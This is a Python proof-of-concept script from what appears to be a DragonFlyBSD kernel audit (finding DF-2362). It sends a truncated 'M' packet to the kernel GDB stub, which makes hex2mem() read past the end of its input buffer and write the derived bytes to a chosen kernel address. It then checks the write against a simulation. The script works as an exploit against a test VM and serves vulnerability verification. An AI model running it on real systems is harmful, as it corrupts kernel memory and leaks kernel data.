⬢ DragonFlyBSD Kernel Audit
DF-2362 / exp_m_oobread.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# exp_m_oobread.py -- DF-2362 verification (part 2): 'M' packet unbounded
# length makes hex2mem() read past the end of the 400-byte static
# remcomInBuffer (kernel BSS OOB read) and write the derived bytes to an
# attacker-chosen kernel address (sys/cpu/x86_64/misc/x86_64-gdbstub.c:596-614
# + hex2mem:332-347).
#
# Mechanics of the proof:
#   RIn = 0xffffffff817a70c0 (400 bytes), adjacent right above
#   ROut = 0xffffffff817a6f20 (gap 16).
#   1. prime remcomInBuffer with a known stale pattern: send an unknown
#      command 'q' + "0123456789abcdef"*24 (385 chars <= 398) -- the stub
#      stores it verbatim in remcomInBuffer and ignores it,
#   2. read RIn[0..432] (safe bounded m reads) to know EVERY byte including
#      the 32 bytes of BSS past RIn end,
#   3. send M<RIn>,c0:11111111 -- only 4 bytes of data supplied for a length
#      of 0xc0=192: hex2mem keeps reading past the packet NUL (stale pattern),
#      and past RIn[400] (BSS), writing the decoded/derived bytes to RIn,
#   4. compare observed write against an exact python simulation of
#      getpacket()+hex2mem() using the captured buffer contents:
#      bytes >21 must match -- derived from stale buffer bytes (OOB read
#      past packet end) and from BSS bytes past RIn[400] (0xef signature:
#      hex() of a non-hex byte is -1, (-1<<4)+(-1) = -17 = 0xef).
import sys, os, time, subprocess, json
sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__))))
from rsp import SerialPeer, parse_t05

SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock")
VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh")
RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362M-raw.log")
ROUT = 0xffffffff817a6f20
RIN  = 0xffffffff817a70c0

PRIME = "q" + "0123456789abcdef" * 24      # 385 chars

def trigger_and_handshake(p):
    try:
        subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"],
                       timeout=8, capture_output=True)
    except subprocess.TimeoutExpired:
        pass
    m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25)
    if m is None:
        print("[!] no T-packet from stub"); sys.exit(2)
    p.send(b"+")
    print("[+] stub up")

def hexval(c):
    if ord('a') <= c <= ord('f'): return c - ord('a') + 10
    if ord('0') <= c <= ord('9'): return c - ord('0')
    if ord('A') <= c <= ord('F'): return c - ord('A') + 10
    return -1

def simulate_hex2mem(rin_after_getpacket, ptr_off, count):
    """Faithful simulation of gdbstub hex2mem() over remcomInBuffer."""
    out = bytearray()
    i = ptr_off
    for n in range(count):
        ch = (hexval(rin_after_getpacket[i]) << 4) & 0xffffffff
        ch = (ch + hexval(rin_after_getpacket[i+1])) & 0xff
        out.append(ch)
        i += 2
    return bytes(out)

def main():
    results = {}
    p = SerialPeer(SOCK, RAWLOG, name="m-oobread")
    trigger_and_handshake(p)
    r = p.pkt("?"); print("[+] '?' -> %r" % r)

    # 1) prime the stale pattern
    r = p.pkt(PRIME)
    print("[*] primed remcomInBuffer with 385-char known pattern (reply=%r)" % r)

    # 2) capture exact buffer state incl. 32 bytes past RIn end
    rin_before = p.read_mem(RIN, 432)
    if rin_before is None:
        print("[!] buffer read failed"); sys.exit(2)
    print("[*] RIn[0:64]  = %s" % rin_before[:64].decode(errors="replace"))
    print("[*] RIn[384:432] = %s" % rin_before[384:432].hex())

    # 3) the M packet: length 0xc0 but only 4 bytes of data supplied
    mp = "M%x,c0:11111111" % RIN
    r = p.pkt(mp)
    print("[+] %s -> %r (stub accepted truncated data: no length-vs-data check)" % (mp, r))
    results["M_reply"] = r

    # 4) read back what got written (first ~20 bytes are clobbered by the
    #    readback request packets themselves; compare from byte 21 on)
    got = p.read_mem(RIN, 198)
    if got is None:
        print("[!] readback failed"); sys.exit(2)

    # exact simulation: getpacket stores mp + NUL, residue beyond stays
    rin_sim = bytearray(rin_before[:432])
    mp_b = mp.encode()
    rin_sim[0:len(mp_b)] = mp_b
    rin_sim[len(mp_b)] = 0
    expected = simulate_hex2mem(bytes(rin_sim), len("M%x,c0:" % RIN), 198)

    print("[*] got[21:64]      = %s" % got[21:64].hex())
    print("[*] expected[21:64] = %s" % expected[21:64].hex())
    print("[*] got[176:198]    = %s  (tail: bytes decoded from past RIn[400])" % got[176:198].hex())
    print("[*] expected[176:198]=%s" % expected[176:198].hex())

    match = got[21:198] == expected[21:198]
    print("[%s] observed write == simulation over OOB-derived region: %s" %
          ("+" if match else "-", match))
    results["sim_match"] = match

    # where does the read cross RIn[400]?  byte n reads RIn[ptr+2n .. ptr+2n+1]
    ptr = len("M%x,c0:" % RIN)
    cross = (400 - ptr) // 2
    tail_ef = all(b == 0xef for b in got[cross+1:198]) if all(
        b == 0xef for b in expected[cross+1:198]) else None
    print("[*] read crosses RIn[400] at written byte ~%d; tail bytes 0xef=%s" %
          (cross, tail_ef))
    results["tail_from_bss"] = tail_ef

    # control: the bytes between packet end and NUL..stale must NOT equal the
    # attacker's own supplied data -- they come from stale buffer content
    stale_derived = got[26:cross] != b"\x11" * (cross - 26)
    print("[%s] bytes past attacker data are stale-buffer-derived (not 0x11 fill): %s"
          % ("+" if stale_derived else "-", stale_derived))
    results["stale_derived"] = bool(stale_derived)

    r = p.pkt("?")
    print("[%s] stub still responsive: %r" % ("+" if r == "S05" else "-", r))
    d = p.pkt("D"); print("[+] detach -> %r" % d)
    p.wait(r" restarted|db: |panic", 10)
    time.sleep(2); p.pump(); p.close()
    results["ok"] = bool(match and stale_derived)
    print("[RESULT] " + json.dumps(results))
    sys.exit(0 if results["ok"] else 1)

if __name__ == "__main__":
    main()